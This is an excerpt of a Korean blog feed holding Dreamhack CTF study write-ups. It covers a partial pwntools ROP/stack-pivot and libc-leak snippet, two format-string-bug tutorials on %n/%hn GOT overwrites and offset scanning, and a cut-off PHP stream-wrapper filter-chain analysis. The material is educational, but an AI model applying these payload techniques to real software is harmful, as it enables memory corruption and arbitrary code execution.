<td>큰 ROP/데이터를 bss에 쌓고, 마지막에 그걸 실행한다</td>
</tr>
<tr>
<td>릭이 있으면 ret2libc가 열린다</td>
<td>puts@got 같은 릭으로 libc base를 얻는 순간 게임이 바뀐다</td>
</tr>
</tbody></table>
<hr>
<h2 id="8-코드-스니펫-학습분석용">8. 코드 스니펫 (학습/분석용)</h2>
<p>아래는 “구조를 설명하기 위한 스니펫”이다.  </p>
<h3 id="81-stage-1-bof로-rbp-피벗--read-블록-재진입">8.1 Stage 1: BOF로 rbp 피벗 + read 블록 재진입</h3>
<pre><code class="language-python"># Title: stage1 pivot into bss
from pwn import *

e = ELF(&quot;./chall&quot;)
bss = e.bss()

read_blk = 0x401211

payload  = b&quot;A&quot; * 0x30
payload += p64(bss + 0x300)  # saved rbp -&gt; bss로 피벗
payload += p64(read_blk)     # saved rip -&gt; main read 블록으로 재진입

# send(payload)</code></pre>
<h3 id="82-stage-2-putsputsgot로-libc-leak-만들기-아이디어">8.2 Stage 2: puts(puts@got)로 libc leak 만들기 (아이디어)</h3>
<pre><code class="language-python"># Title: stage2 leak idea
from pwn import *

e = ELF(&quot;./chall&quot;)
bss = e.bss()

pop_rdi   = 0x4011db
leave_ret = 0x40123b
read_blk  = 0x401211

puts_got = e.got[&quot;puts&quot;]
puts_plt = e.plt[&quot;puts&quot;]

# bss 프레임에 &quot;puts(puts@got) -&gt; 다시 read&quot; 체인 조립
chain  = p64(bss + 0x400)   # 다음 rbp(프레임) 위치
chain += p64(pop_rdi)
chain += p64(puts_got)
chain += p64(puts_plt)
chain += p64(read_blk)

# bss 프레임 규칙 때문에 뒤쪽(next rbp/next rip)를 맞춰야 하는데,
# 이건 디버깅으로 프레임 레이아웃을 확인하면서 조정한다.</code></pre>
<hr>
<h2 id="9-마치며">9. 마치며</h2>
<p>이 문제는 “ret2libc 박치기”로 풀리는 문제가 아니라, <strong>프레임 피벗을 전제로 bss에 체인을 조립하는 문제</strong>라는 걸 이해하는 순간 길이 열린다.<br>특히 <code>main</code> 내부 <code>read(rbp-0x30, 0x40)</code> 블록이 사실상 “가젯 세트”라는 점을 깨닫는 게 핵심이다.</p>
<p>출처: Dreamhack 워게임(문제/환경 기반 개인 학습 정리)</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[드림핵 - basic_exploitation_002]]></title>
            <link>https://velog.io/@9_000k/%EB%93%9C%EB%A6%BC%ED%95%B5-basicexploitation002</link>
            <guid>https://velog.io/@9_000k/%EB%93%9C%EB%A6%BC%ED%95%B5-basicexploitation002</guid>
            <pubDate>Sun, 15 Feb 2026 12:57:45 GMT</pubDate>
            <description><![CDATA[<h1 id="fsb에서-카운터에서-got-overwrite가-성립하는-이유">FSB에서 카운터에서 GOT overwrite가 성립하는 이유</h1>
<p>내가 계속 헷갈렸던 포인트를 한 번에 정리한 문서다<br>공백을 찍어서 숫자를 만든다는 건 이해했는데, 그게 왜 GOT에 대입처럼 써지는지 연결이 안 됐던 부분을 풀었다  </p>
<hr>
<h2 id="0-한-줄-결론">0. 한 줄 결론</h2>
<p>FSB write는 결국 이 한 줄로 요약된다  </p>
<pre><code class="language-c">*(uint16_t*)TARGET = (printed_chars &amp; 0xffff);</code></pre>
<p>여기서  </p>
<ul>
<li>TARGET이 GOT 엔트리 주소가 되게 만들면 GOT overwrite가 된다  </li>
<li>printed_chars를 원하는 값으로 맞추면 그 값이 써진다  </li>
</ul>
<p>이 두 개를 포맷 스트링으로 동시에 달성하는 게 exploit의 본체다  </p>
<hr>
<h2 id="1-printf-내부에-카운터가-있다는-게-핵심">1. printf 내부에 카운터가 있다는 게 핵심</h2>
<p>printf는 뭘 출력할 때마다 내부적으로 이런 값을 계속 증가시킨다  </p>
<ul>
<li>printed_chars = 지금까지 출력한 문자 수</li>
</ul>
<p>여기서 중요한 건 공백도 문자라는 점이다<br>보이는 글자든 공백이든 전부 1글자로 카운트된다  </p>
<hr>
<h2 id="2-n-계열은-출력이-아니라-쓰기다">2. %n 계열은 출력이 아니라 쓰기다</h2>
<p>%n 계열 specifier는 화면에 글자를 찍지 않는다<br>대신 카운터 값을 메모리에 기록한다  </p>
<p>종류별 의미는 이렇게 보면 된다  </p>
<table>
<thead>
<tr>
<th>포맷</th>
<th>개념적 동작</th>
</tr>
</thead>
<tbody><tr>
<td>%n</td>
<td><em>(int</em>)ptr = printed_chars</td>
</tr>
<tr>
<td>%hn</td>
<td><em>(short</em>)ptr = printed_chars</td>
</tr>
<tr>
<td>%hhn</td>
<td><em>(char</em>)ptr = printed_chars</td>
</tr>
</tbody></table>
<p>즉 %hn을 만나면 printf가 내부적으로 하는 일은 이거다  </p>
<pre><code class="language-c">short *p = (short*)ptr;
*p = (short)printed_chars;</code></pre>
<p>그래서 카운터 올리기가 곧 쓰기 값 만들기로 직결된다  </p>
<hr>
<h2 id="3-카운터를-원하는-값으로-만드는-방법이-nc">3. 카운터를 원하는 값으로 만드는 방법이 %Nc</h2>
<p>exploit에서 쓰는 트릭은 %Nc다  </p>
<ul>
<li>%c는 원래 문자 1개 출력이다  </li>
<li>근데 width를 N으로 주면 폭을 N으로 맞추기 위해 공백을 채운다  </li>
<li>결과적으로 공백이든 뭐든 합쳐서 총 N글자 출력 상태가 된다  </li>
</ul>
<p>즉</p>
<pre><code class="language-text">%4660c</code></pre>
<p>이게 실행되면 화면에는 공백이 대부분이고 마지막에 문자 1개가 찍히는 느낌인데<br>중요한 건 printed_chars가 4660이 된다는 점이다  </p>
<hr>
<h2 id="4-이제-대입이-got에-성립하는-연결고리">4. 이제 대입이 GOT에 성립하는 연결고리</h2>
<p>여기서부터가 핵심이다  </p>
<h3 id="41-5hn은-무엇을-의미하나">4.1 %5$hn은 무엇을 의미하나</h3>
<p>%5$hn은 아래를 의미한다  </p>
<ul>
<li>5번째 인자를 포인터로 해석한다  </li>
<li>그 포인터가 가리키는 곳에 printed_chars를 2바이트로 기록한다  </li>
</ul>
<p>개념적으로는 이거다  </p>
<pre><code class="language-c">short *p = (short*)arg5;
*p = (short)printed_chars;</code></pre>
<p>즉 5번째 인자 값이 어디에 쓸지 결정한다  </p>
<h3 id="42-그래서-해야-하는-건-딱-하나">4.2 그래서 해야 하는 건 딱 하나</h3>
<p>arg5가 GOT 주소가 되게 만들면 된다  </p>
<p>즉</p>
<pre><code class="language-c">arg5 == exit_got</code></pre>
<p>을 성립시키면</p>
<pre><code class="language-c">*(uint16_t*)exit_got = printed_chars;</code></pre>
<p>가 된다  </p>
<p>이 순간 카운터가 GOT에 대입되는 게 성립한다  </p>
<hr>
<h2 id="5-arg5가-왜-exit_got이-되냐">5. arg5가 왜 exit_got이 되냐</h2>
<p>여기가 FSB에서 제일 자주 쓰는 트릭이다  </p>
<h3 id="51-printfbuf는-인자를-안-주는데도-인자를-읽으려-한다">5.1 printf(buf)는 인자를 안 주는데도 인자를 읽으려 한다</h3>
<p>코드가 이런 구조다  </p>
<pre><code class="language-c">read(0, buf, 0x80);
printf(buf);</code></pre>
<p>printf는 포맷스트링에 %5$hn 같은 게 있으면 5번째 인자를 읽으려 한다<br>근데 호출자는 실제로 인자를 안 줬다<br>그래서 printf는 그 자리에 있던 값을 그냥 인자인 것처럼 읽는다  </p>
<p>이게 UB인데, 실전에서는 그대로 재현되는 경우가 많다  </p>
<h3 id="52-공격자는-그-자리에-있던-값을-내가-원하는-값으로-만든다">5.2 공격자는 그 자리에 있던 값을 내가 원하는 값으로 만든다</h3>
<p>payload 끝에 target 주소를 붙인다  </p>
<pre><code class="language-text">포맷스트링 + exit_got 주소 4바이트</code></pre>
<p>그럼 이 4바이트 값이 메모리 어딘가에 올라가고<br>printf가 5번째 인자 슬롯을 읽을 때 그 위치를 읽도록 오프셋을 맞추면  </p>
<ul>
<li>arg5가 곧 exit_got이 된다  </li>
</ul>
<p>즉 운이 아니라 배치다  </p>
<p>여기서 5라는 숫자는 보편 공식이 아니라 실측 결과일 수 있다<br>환경이 바뀌면 6이나 7이 될 수도 있다  </p>
<hr>
<h2 id="6-전체-흐름을-한-번에-정리">6. 전체 흐름을 한 번에 정리</h2>
<p>핵심 구조는 보통 이렇다  </p>
<p>1) 출력량을 원하는 값으로 맞춘다  </p>
<pre><code class="language-text">%{under}c</code></pre>
<p>이게 끝나면 printed_chars = under 상태가 된다  </p>
<p>2) %hn으로 그 값을 목표 주소에 쓴다  </p>
<pre><code class="language-text">%5$hn</code></pre>
<p>이게 실행되면</p>
<pre><code class="language-c">*(uint16_t*)arg5 = (under &amp; 0xffff);</code></pre>
<p>3) payload 끝에 exit_got를 붙여서 arg5가 exit_got이 되게 한다  </p>
<p>결과적으로</p>
<pre><code class="language-c">*(uint16_t*)exit_got = under;</code></pre>
<p>가 된다  </p>
<p>그리고 exit 호출이 일어나면 GOT가 가리키는 함수가 바뀌어서 흐름이 꺾인다  </p>
<hr>
<h2 id="7-under를-왜-intfrom_bytes로-만드는가">7. under를 왜 int.from_bytes로 만드는가</h2>
<p>under는 get_shell 주소의 하위 2바이트를 정수로 만든 값이다  </p>
<p>예를 들어 get_shell 주소가 0x08048609면<br>리틀엔디안 바이트열은</p>
<ul>
<li>09 86 04 08</li>
</ul>
<p>하위 2바이트만 보면</p>
<ul>
<li>09 86</li>
</ul>
<p>이걸 little endian 정수로 해석하면</p>
<ul>
<li>0x8609</li>
</ul>
<p>이게 under다  </p>
<p>그리고 %{under}c에서 under는 숫자여야 하니까<br>bytes를 정수로 바꾸는 과정이 필요하다  </p>
<hr>
<h2 id="8-내-체크리스트">8. 내 체크리스트</h2>
<p>FSB write가 안 먹힐 때 나는 이 순서로 확인한다  </p>
<ul>
<li>%p 스캔으로 내가 붙인 주소가 몇 번째 슬롯에 보이는지부터 확정한다  </li>
<li>그 번호를 %n$hn에 넣는다  </li>
<li>payload 길이를 조절해서 주소가 word 경계에 안정적으로 올라가게 맞춘다  </li>
<li>%Nc로 출력량을 원하는 값으로 만든다  </li>
<li>%hn이 쓰는 값은 2바이트로 잘린다는 걸 항상 염두에 둔다  </li>
</ul>
<hr>
<h2 id="마치며">마치며</h2>
<p>내가 계속 헷갈렸던 이유는<br>공백 출력과 메모리 쓰기가 연결되는 규칙을 머릿속에 한 줄로 못 박아두지 못해서였다  </p>
<p>이제는 그냥 이렇게 외우면 된다  </p>
<ul>
<li>%Nc로 printed_chars를 만들고  </li>
<li>%n으로 printed_chars를 메모리에 쓴다  </li>
<li>그 메모리 주소는 내가 인자 슬롯에 깔아서 공급한다  </li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[드림핵 -  Format String Bug]]></title>
            <link>https://velog.io/@9_000k/%EB%93%9C%EB%A6%BC%ED%95%B5-Format-String-Bug</link>
            <guid>https://velog.io/@9_000k/%EB%93%9C%EB%A6%BC%ED%95%B5-Format-String-Bug</guid>
            <pubDate>Sun, 15 Feb 2026 08:51:28 GMT</pubDate>
            <description><![CDATA[<h1 id="포맷-스트링-버그-정리">포맷 스트링 버그 정리</h1>
<hr>
<h2 id="3줄-요약">3줄 요약</h2>
<ol>
<li><code>printf(user_input)</code>는 사용자가 포맷 스트링을 조종해서 스택과 레지스터를 읽을 수 있는 구조다  </li>
<li><code>%n$...</code>의 <code>n</code>은 글자 개수가 아니라 printf가 참조하는 인자 슬롯 인덱스다  </li>
<li>오프셋은 계산으로 깔끔히 안 떨어지는 경우가 많고 <code>%p</code> 스캔으로 실측하는 게 제일 안정적이다  </li>
</ol>
<hr>
<h2 id="1-포맷-스트링이-뭔지">1. 포맷 스트링이 뭔지</h2>
<p>포맷 스트링은 <code>printf</code> 계열 함수가 문자열을 출력할 때 해석하는 규칙이다  </p>
<p>대표적으로 이런 패턴이 있다  </p>
<pre><code class="language-c">printf(&quot;num=%d\n&quot;, x);</code></pre>
<p>여기서 <code>%d</code> 같은 토큰이 specifier다<br><code>printf</code>는 specifier를 만나면 그에 맞는 인자를 꺼내서 출력한다  </p>
<hr>
<h2 id="2-포맷-스트링-문법에서-진짜-중요한-두-개">2. 포맷 스트링 문법에서 진짜 중요한 두 개</h2>
<p>전체 문법은 복잡해도 FSB에서 중요한 건 두 개만 잡으면 된다  </p>
<h3 id="21-parameter">2.1 parameter</h3>
<p><code>%n$...</code> 형태에서 <code>n</code>이 parameter다<br>이건 참조할 인자의 인덱스를 의미한다  </p>
<p>예를 들어 아래 코드는 인자 순서를 바꿔서 출력한다  </p>
<pre><code class="language-c">// Name: fs_param.c
// Compile: gcc -o fs_param fs_param.c
#include &lt;stdio.h&gt;

int main() {
  printf(&quot;%2$d, %1$d\n&quot;, 2, 1);
  return 0;
}</code></pre>
<p>중요한 포인트는 여기다<br>parameter 값이 전달된 인자 개수 범위를 넘어가도 printf가 막아주지 않는다는 점이다<br>인자가 1개뿐이어도 <code>%20$p</code> 같은 걸로 스택 어딘가를 억지로 읽게 만들 수 있다  </p>
<h3 id="22-specifier">2.2 specifier</h3>
<p>FSB에서 제일 많이 쓰는 specifier는 이 네 개다  </p>
<table>
<thead>
<tr>
<th>specifier</th>
<th>의미</th>
<th>역할</th>
</tr>
</thead>
<tbody><tr>
<td><code>%p</code></td>
<td>포인터 출력</td>
<td>오프셋 찾기, 스택 스캔</td>
</tr>
<tr>
<td><code>%s</code></td>
<td>포인터가 가리키는 문자열 출력</td>
<td>임의 주소 읽기 AAR</td>
</tr>
<tr>
<td><code>%n</code></td>
<td>출력된 글자 수를 메모리에 기록</td>
<td>임의 주소 쓰기 AAW</td>
</tr>
<tr>
<td><code>%hn</code> <code>%hhn</code></td>
<td>2바이트 1바이트만 기록</td>
<td>큰 값 쪼개서 쓰기</td>
</tr>
</tbody></table>
<hr>
<h2 id="3-왜-인자를-안-줬는데도-값이-출력되냐">3. 왜 인자를 안 줬는데도 값이 출력되냐</h2>
<p>취약 코드의 정석은 이거다  </p>
<pre><code class="language-c">scanf(&quot;%s&quot;, format);
printf(format);</code></pre>
<p><code>printf</code>는 포맷을 해석하면서 추가 인자를 읽으려고 한다<br>근데 호출자가 인자를 안 줬어도 포맷이 요구하면 그냥 읽어버린다<br>표준 관점에서는 정의되지 않은 동작인데 실습 환경에서는 보통 값이 그대로 새어나온다  </p>
<hr>
<h2 id="4-레지스터와-스택-읽기">4. 레지스터와 스택 읽기</h2>
<h3 id="41-예제-코드">4.1 예제 코드</h3>
<pre><code class="language-c">// Name: fsb_stack_read.c
// Compile: gcc -o fsb_stack_read fsb_stack_read.c
#include &lt;stdio.h&gt;

int main() {
  char format[0x100];
  printf(&quot;Format: &quot;);
  scanf(&quot;%s&quot;, format);
  printf(format);
  return 0;
}</code></pre>
<p>입력으로 <code>%p</code>를 여러 개 던지면 값이 줄줄 나온다  </p>
<pre><code class="language-bash">$ ./fsb_stack_read
Format: %p.%p.%p.%p.%p.%p.%p.%p
0xa.(nil).0x7f....(nil).0x55....0x7025....0x2520....0x2070....</code></pre>
<p>이걸 보고 처음엔 진짜 어이가 없다<br>인자를 안 줬는데 왜 나오냐<br>답은 printf가 인자 개수를 제대로 확인해주지 않고 인자 슬롯을 계속 참조하려 하기 때문이다  </p>
<hr>
<h2 id="5-x86-64에서-7번째부터-스택이라는-말의-의미">5. x86 64에서 7번째부터 스택이라는 말의 의미</h2>
<p>리눅스 x86 64 SysV 기준으로 포인터와 정수 인자는 이렇게 전달된다  </p>
<table>
<thead>
<tr>
<th>인자 번호</th>
<th>전달 위치</th>
</tr>
</thead>
<tbody><tr>
<td>1</td>
<td>rdi</td>
</tr>
<tr>
<td>2</td>
<td>rsi</td>
</tr>
<tr>
<td>3</td>
<td>rdx</td>
</tr>
<tr>
<td>4</td>
<td>rcx</td>
</tr>
<tr>
<td>5</td>
<td>r8</td>
</tr>
<tr>
<td>6</td>
<td>r9</td>
</tr>
<tr>
<td>7부터</td>
<td>스택</td>
</tr>
</tbody></table>
<p>그래서 <code>%7$...</code> 같은 말이 자주 나온다<br>다만 여기서 착각하면 안 되는 게 있다  </p>
<p><code>%7$...</code>의 7은<br>내가 입력한 문자열 길이랑 아무 상관이 없다<br>오직 인자 슬롯 인덱스다  </p>
<hr>
<h2 id="6-임의-주소-읽기-aar">6. 임의 주소 읽기 AAR</h2>
<p><code>%s</code>는 포인터 따라가서 문자열을 찍는다<br>그래서 스택 어디든 포인터 값이 있으면 그걸 따라가서 읽을 수 있다  </p>
<h3 id="61-스택에-이미-포인터가-있을-때">6.1 스택에 이미 포인터가 있을 때</h3>
<pre><code class="language-c">// Name: fsb_aar_example.c
// Compile: gcc -o fsb_aar_example fsb_aar_example.c
#include &lt;stdio.h&gt;

char *secret = &quot;THIS IS SECRET&quot;;

int main() {
  char *addr = secret;
  char format[0x100];

  printf(&quot;Format: &quot;);
  scanf(&quot;%s&quot;, format);
  printf(format);
  return 0;
}</code></pre>
<p><code>addr</code>가 스택에 들어있고<br>그 슬롯이 <code>%n$s</code>에 걸리면 <code>secret</code> 문자열이 출력된다  </p>
<p>여기서 내가 헷갈렸던 지점이 있다<br>main 디스어셈에서 addr이 rsp+8처럼 보이는데<br>왜 어떤 예제는 <code>%7$s</code>고 어떤 예제는 <code>%8$s</code>거나 <code>%10$s</code>냐  </p>
<p>결론은 간단하다<br>오프셋은 환경과 호출 시점에 따라 달라질 수 있고<br>결국 실측으로 확정하는 게 안전하다  </p>
<h3 id="62-입력-버퍼에-주소를-심어서-읽기">6.2 입력 버퍼에 주소를 심어서 읽기</h3>
<p>스택에 우연히 포인터가 있을 필요 없이<br>내가 원하는 주소를 입력 버퍼 끝에 8바이트로 붙여서 심는 방식도 있다  </p>
<pre><code class="language-c">// Name: fsb_aar.c
// Compile: gcc -o fsb_aar fsb_aar.c
#include &lt;stdio.h&gt;

const char *secret = &quot;THIS IS SECRET&quot;;

int main() {
  char format[0x100];

  printf(&quot;Address of `secret`: %p\n&quot;, secret);
  printf(&quot;Format: &quot;);
  scanf(&quot;%s&quot;, format);
  printf(format);

  return 0;
}</code></pre>
<p>이 구조에서는 포맷스트링 뒤에 secret 주소를 붙이고<br><code>%n$s</code>로 그 슬롯을 포인터로 해석하게 만들면 된다  </p>
<p>패딩으로 <code>aaaa</code>를 붙이는 이유도 여기서 나온다<br>주소 8바이트가 qword 경계에 딱 올라가게 길이를 맞추는 용도다<br>출력에서 어디까지가 문자열 결과인지 구분하는 표식 역할도 한다  </p>
<hr>
<h2 id="7-임의-주소-쓰기-aaw">7. 임의 주소 쓰기 AAW</h2>
<p><code>%n</code>은 출력한 글자 수를 메모리에 기록한다<br>이게 곧 쓰기 primitive다  </p>
<h3 id="71-기본-예제">7.1 기본 예제</h3>
<pre><code class="language-c">// Name: fsb_aaw.c
// Compile: gcc -o fsb_aaw fsb_aaw.c
#include &lt;stdio.h&gt;

int secret;

int main() {
  char format[0x100];

  printf(&quot;Address of `secret`: %p\n&quot;, &amp;secret);
  printf(&quot;Format: &quot;);
  scanf(&quot;%s&quot;, format);
  printf(format);

  printf(&quot;Secret: %d\n&quot;, secret);
  return 0;
}</code></pre>
<p>원리는 이거다<br>1 <code>%31337c</code>로 출력 글자 수를 31337로 만든다<br>2 <code>%n</code>으로 그 값을 secret에 써버린다  </p>
<p>실제로는 <code>%n</code>을 바로 쓰기보다 <code>%hn</code>이나 <code>%hhn</code>을 자주 쓴다<br>큰 값을 한 번에 만들기 부담스럽기 때문이다  </p>
<h3 id="72-2바이트-1바이트로-쪼개기">7.2 2바이트 1바이트로 쪼개기</h3>
<table>
<thead>
<tr>
<th>포맷</th>
<th>쓰는 크기</th>
<th>특징</th>
</tr>
</thead>
<tbody><tr>
<td><code>%n</code></td>
<td>보통 4바이트</td>
<td>한 방에 쓰기, 출력 길이 커질 수 있음</td>
</tr>
<tr>
<td><code>%hn</code></td>
<td>2바이트</td>
<td>0에서 65535 범위, 실전에서 많이 씀</td>
</tr>
<tr>
<td><code>%hhn</code></td>
<td>1바이트</td>
<td>0에서 255 범위, 바이트 단위로 제어</td>
</tr>
</tbody></table>
<hr>
<h2 id="8-0xdeadbeef-같은-값-쓰기-흐름">8. 0xdeadbeef 같은 값 쓰기 흐름</h2>
<p>바이트 단위 <code>%hhn</code>로 쓰는 게 가장 직관적이다<br>중요한 건 출력 글자 수가 누적이라서 보통 오름차순으로 맞춘다는 점이다  </p>
<p>0xdeadbeef를 바이트로 보면<br>ad be de ef 순서로 출력량을 맞춰가며 써서 안정적으로 맞춘다  </p>
<p>이때 주소도 4개가 필요하다<br>secret<br>secret+1<br>secret+2<br>secret+3<br>이걸 입력 끝에 8바이트씩 연속으로 붙인다  </p>
<p>그리고 <code>%14$hhn</code> <code>%15$hhn</code> 같은 인덱스가 나오는데<br>이 숫자 자체가 핵심은 아니다<br>오프셋을 실측해서 맞추는 게 핵심이다  </p>
<hr>
<h2 id="9-내가-제일-오래-막힌-부분-오프셋-실측">9. 내가 제일 오래 막힌 부분 오프셋 실측</h2>
<p>여기가 FSB의 심장이다  </p>
<p>결론부터 말하면<br>오프셋은 계산으로 끝내려 하지 말고 실측하는 게 마음 편하다  </p>
<h3 id="91-실측-루틴">9.1 실측 루틴</h3>
<p>1 입력 끝에 마커 8바이트를 붙인다<br>예를 들어 0x4141414142424242 같은 값이다  </p>
<p>2 <code>%1$p</code>부터 <code>%K$p</code>까지 찍는다<br>공백은 입력 함수가 끊을 수 있으니 구분자는 점이 편하다  </p>
<p>예시  </p>
<pre><code class="language-text">%1$p.%2$p.%3$p.%4$p.%5$p.%6$p.%7$p.%8$p.%9$p.%10$p.%11$p.%12$p.%13$p.%14$p.%15$p.%16$p</code></pre>
<p>3 출력에서 마커가 찍히는 번호가 곧 오프셋이다<br>그 번호가 11이면<br><code>%11$s</code>로 읽고<br><code>%11$n</code> <code>%11$hn</code> <code>%11$hhn</code>로 쓸 수 있다  </p>
<h3 id="92-왜-어떤-환경은-10이고-어떤-환경은-14냐">9.2 왜 어떤 환경은 10이고 어떤 환경은 14냐</h3>
<p>이건 흔한 착각 포인트다<br>main에서 본 rsp 오프셋이랑<br>printf가 참조하는 인자 슬롯 인덱스는 1대1로 고정되지 않는 경우가 많다  </p>
<p>컴파일 옵션<br>스택 정렬<br>호출 시점<br>입력 함수<br>이런 변수들이 섞인다  </p>
<p>그래서 실측이 정석이다  </p>
<hr>
<h2 id="10-패딩-a-7개-같은-디테일이-왜-나오냐">10. 패딩 A 7개 같은 디테일이 왜 나오냐</h2>
<p>이건 스택 정렬 그 자체보다<br>주소 8바이트가 시작하는 위치를 qword 경계로 맞추기 위한 길이 조절이다  </p>
<p>예를 들어 <code>%64c%10$n</code>이 9바이트면<br>주소를 16바이트 경계에 시작시키고 싶다<br>그래서 7바이트 패딩을 넣어 총 16바이트로 만든다  </p>
<p>이러면 뒤에 붙은 주소가 8바이트 단위로 깔끔하게 읽힌다  </p>
<hr>
<h2 id="11-핵심-정리-표">11. 핵심 정리 표</h2>
<table>
<thead>
<tr>
<th>목표</th>
<th>쓰는 포맷</th>
<th>준비물</th>
</tr>
</thead>
<tbody><tr>
<td>오프셋 찾기</td>
<td><code>%n$p</code> 스캔</td>
<td>마커 8바이트</td>
</tr>
<tr>
<td>임의 읽기</td>
<td><code>%n$s</code></td>
<td>포인터가 스택에 있거나 주소를 입력 끝에 심기</td>
</tr>
<tr>
<td>임의 쓰기</td>
<td><code>%n$n</code> <code>%n$hn</code> <code>%n$hhn</code></td>
<td>타겟 주소를 입력 끝에 심기, 출력량 조절</td>
</tr>
</tbody></table>
<hr>
<h2 id="마치며">마치며</h2>
<p>FSB는 한 번 감 잡으면 꽤 단순해진다<br>근데 감 잡기 전까지는 오프셋 때문에 계속 발목 잡힌다  </p>
<p>내 결론은 이거다<br>오프셋은 실측 루틴을 손에 익히는 게 제일 중요하다<br><code>%p</code> 스캔 + 마커만 제대로 하면<br>왜 10인지 11인지 14인지로 더 이상 시간 안 날리게 된다  </p>
]]></description>
        </item>
        <item>
            <title><![CDATA[DreamHack_Jukebox_Writeup]]></title>
            <link>https://velog.io/@9_000k/DreamHackJukeboxWriteup</link>
            <guid>https://velog.io/@9_000k/DreamHackJukeboxWriteup</guid>
            <pubDate>Wed, 11 Feb 2026 01:22:51 GMT</pubDate>
            <description><![CDATA[<h1 id="dreamhack-ctf--jukebox-취약점-분석">DreamHack CTF – Jukebox 취약점 분석</h1>
<blockquote>
<p>출처: DreamHack Wargame – Jukebox<br>유형: Web / PHP<br>공개 범위: <strong>반(半) 풀이 + 취약점 로직 분석</strong><br>플래그, 익스플로잇 코드 미포함</p>
</blockquote>
<hr>
<h2 id="3줄-요약">3줄 요약</h2>
<ol>
<li>URL 검증이 허술한 <code>file_get_contents()</code> 사용으로 <strong>PHP Stream Wrapper 악용 가능</strong>했다  </li>
<li>단순 문자열 필터를 우회할 수 있는 <strong>인코딩 계열 필터 체인</strong>이 핵심이었다  </li>
<li>결과 포맷(JSON) 제약 조건이 오히려 공격 난이도를 올리는 장치였다</li>
</ol>
<hr>
<h2 id="시작하며">시작하며…</h2>
<p>이 문제는 처음 봤을 때 되게 단순해 보였다.<br>URL 하나 받아서 노래 정보 가져오는 웹앱이다.<br>근데 이런 문제들, 경험상 <strong>절대 단순하지 않다</strong>.</p>
<p>회사 포트폴리오로 쓸 거라서,<br>“어떻게 뚫었냐” 보다는 <strong>왜 취약했고, 어떤 구조적 문제가 있었는지</strong>에 집중해서 정리했다.</p>
<hr>
<h2 id="서비스-구조-간단-정리">서비스 구조 간단 정리</h2>
<table>
<thead>
<tr>
<th>구성 요소</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td>Backend</td>
<td>PHP</td>
</tr>
<tr>
<td>핵심 함수</td>
<td><code>file_get_contents()</code></td>
</tr>
<tr>
<td>입력값</td>
<td>사용자 입력 URL</td>
</tr>
<tr>
<td>출력</td>
<td>노래 정보(JSON) 파싱 후 렌더링</td>
</tr>
</tbody></table>
<p>서버는 사용자가 입력한 URL을 그대로 가져와서,<br>그 응답이 JSON이면 각 필드를 화면에 출력하는 구조다.</p>
<hr>
<h2 id="취약점-개념-php-stream-wrapper">취약점 개념: PHP Stream Wrapper</h2>
<h3 id="이게-왜-위험하냐">이게 왜 위험하냐?</h3>
<p>PHP에는 <strong>Stream Wrapper</strong>라는 개념이 있다.<br>파일, 네트워크, 필터를 전부 URL처럼 다루는 기능이다.</p>
<p>대표적인 예시는 이거다.</p>
<table>
<thead>
<tr>
<th>Wrapper</th>
<th>역할</th>
</tr>
</thead>
<tbody><tr>
<td><code>file://</code></td>
<td>로컬 파일 접근</td>
</tr>
<tr>
<td><code>php://filter</code></td>
<td>스트림 데이터 변형</td>
</tr>
<tr>
<td><code>data://</code></td>
<td>인라인 데이터</td>
</tr>
<tr>
<td><code>http://</code></td>
<td>원격 리소스</td>
</tr>
</tbody></table>
<p>문제는 이 서비스가<br><strong>URL에 <code>http://</code> 또는 <code>https://</code>만 포함되면 통과</strong>시키는 식으로 검증하고 있었다는 점이다.</p>
<p>이 말은 곧,<br><code>php://filter</code> 같은 래퍼도 우회적으로 쓸 수 있다는 얘기다.</p>
<hr>
<h2 id="첫-시도와-막힌-지점">첫 시도와 막힌 지점</h2>
<h3 id="1차-접근">1차 접근</h3>
<ul>
<li>로컬 파일을 읽을 수 있는지 테스트</li>
<li>응답 자체는 서버에서 가져오는 게 맞아 보였다</li>
</ul>
<h3 id="그런데-문제-발생">그런데 문제 발생</h3>
<ul>
<li>특정 문자열이 포함되면 응답이 차단됨</li>
<li>결과가 <strong>JSON 형태가 아니면 화면에 출력도 안 됨</strong></li>
</ul>
<p>정리하면 제약이 이렇다.</p>
<table>
<thead>
<tr>
<th>제약 조건</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td>문자열 필터</td>
<td>특정 패턴 포함 시 차단</td>
</tr>
<tr>
<td>포맷 강제</td>
<td>JSON + 필수 키 7개</td>
</tr>
<tr>
<td>출력 위치</td>
<td>특정 필드만 렌더링</td>
</tr>
</tbody></table>
<p>이때 좀 짜증났다.<br>단순 LFI 문제가 아니었다.</p>
<hr>
<h2 id="문제의-핵심-원인">문제의 핵심 원인</h2>
<h3 id="1-잘못된-url-검증">1. 잘못된 URL 검증</h3>
<ul>
<li>scheme 전체를 파싱하지 않음</li>
<li>단순 문자열 포함 여부로만 검사</li>
<li>Stream Wrapper 개념을 고려 안 함</li>
</ul>
<h3 id="2-보안-필터의-한계">2. 보안 필터의 한계</h3>
<ul>
<li><strong>문자열 기준 차단</strong></li>
<li>인코딩, 변형, 중간 표현에 취약</li>
<li>“의미”가 아니라 “표현”만 막고 있음</li>
</ul>
<h3 id="3-출력-로직의-신뢰">3. 출력 로직의 신뢰</h3>
<ul>
<li>서버가 가져온 JSON을 그대로 신뢰</li>
<li>값이 어떻게 만들어졌는지 검증 없음</li>
</ul>
<p>이 세 개가 합쳐져서 문제가 커졌다.</p>
<hr>
<h2 id="공격-시나리오-개념-정리-코드-없음">공격 시나리오 개념 정리 (코드 없음)</h2>
<p>전체 흐름은 이렇다.</p>
<pre><code>[사용자 입력]
      |
      v
[file_get_contents()]
      |
      v
[Stream Filter Chain]
      |
      v
[JSON 형태로 재구성]
      |
      v
[프론트엔드 렌더링]</code></pre><p>핵심은 <strong>데이터를 직접 보여주지 않아도 된다</strong>는 점이다.<br>서버가 “정상 데이터”라고 믿고 화면에 뿌리게 만들면 끝이다.</p>
<hr>
<h2 id="왜-필터-체인이-중요한가">왜 필터 체인이 중요한가</h2>
<p>단일 인코딩은 쉽게 막힌다.<br>하지만 <strong>여러 필터를 체인으로 연결</strong>하면 이야기가 달라진다.</p>
<table>
<thead>
<tr>
<th>필터 계열</th>
<th>역할</th>
</tr>
</thead>
<tbody><tr>
<td>base64</td>
<td>바이너리 안전 인코딩</td>
</tr>
<tr>
<td>quoted-printable</td>
<td>ASCII 우회</td>
</tr>
<tr>
<td>iconv</td>
